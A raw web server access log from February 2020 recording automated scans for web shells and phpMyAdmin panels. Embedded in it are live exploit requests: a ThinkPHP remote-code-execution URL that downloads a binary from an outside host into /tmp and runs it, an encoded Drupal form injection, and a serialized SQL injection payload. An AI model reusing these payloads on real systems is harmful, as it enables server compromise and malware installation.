166.62.92.37 - - [13/Feb/2020:10:13:05 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:06 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:06 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:06 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:06 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:06 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:06 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:07 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:07 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:07 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:07 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:07 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:07 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:08 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:08 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:08 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:08 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:08 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:08 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:09 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:11 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:11 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:12 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:12 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:12 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:12 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:12 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:12 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:13 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:13 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:13 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:13 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:15 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:15 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:15 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:16 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:16 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:16 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:16 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:16 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:16 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:17 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:17 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:17 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:17 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:17 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:18 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:19 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:19 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:20 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:20 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:20 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:20 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:20 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:20 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
212.91.246.72 - - [13/Feb/2020:10:13:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
166.62.92.37 - - [13/Feb/2020:10:13:41 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
166.62.92.37 - - [13/Feb/2020:10:14:03 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
212.91.246.72 - - [13/Feb/2020:10:14:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
166.62.92.37 - - [13/Feb/2020:10:14:27 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
166.62.92.37 - - [13/Feb/2020:10:14:52 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
211.23.45.27 - - [13/Feb/2020:10:14:52 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
45.152.6.58 - - [13/Feb/2020:10:14:59 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
166.62.92.37 - - [13/Feb/2020:10:15:15 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
212.91.246.72 - - [13/Feb/2020:10:15:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.67.90.103 - - [13/Feb/2020:10:15:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
166.62.92.37 - - [13/Feb/2020:10:15:40 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
166.62.92.37 - - [13/Feb/2020:10:16:04 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
212.91.246.72 - - [13/Feb/2020:10:16:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
166.62.92.37 - - [13/Feb/2020:10:16:31 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
166.62.92.37 - - [13/Feb/2020:10:16:55 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
1.54.173.230 - - [13/Feb/2020:10:17:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
166.62.92.37 - - [13/Feb/2020:10:17:19 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
166.62.92.37 - - [13/Feb/2020:10:17:20 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
166.62.92.37 - - [13/Feb/2020:10:17:20 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
166.62.92.37 - - [13/Feb/2020:10:17:20 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
166.62.92.37 - - [13/Feb/2020:10:17:20 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
212.91.246.72 - - [13/Feb/2020:10:17:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
166.62.92.37 - - [13/Feb/2020:10:17:41 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
109.73.184.217 - - [13/Feb/2020:10:18:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [13/Feb/2020:10:18:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.153.251 - - [13/Feb/2020:10:18:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:10:19:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:10:20:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:10:21:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
166.62.92.37 - - [13/Feb/2020:10:21:43 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
166.62.92.37 - - [13/Feb/2020:10:21:44 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:44 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:44 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:44 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:44 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:46 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:46 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:47 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:47 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:47 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:48 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:48 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:48 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:48 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:48 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:48 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:49 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:49 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:49 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:49 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:49 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:50 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:51 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:51 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:51 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:52 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:52 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:52 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:52 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:52 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:52 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:53 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:53 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
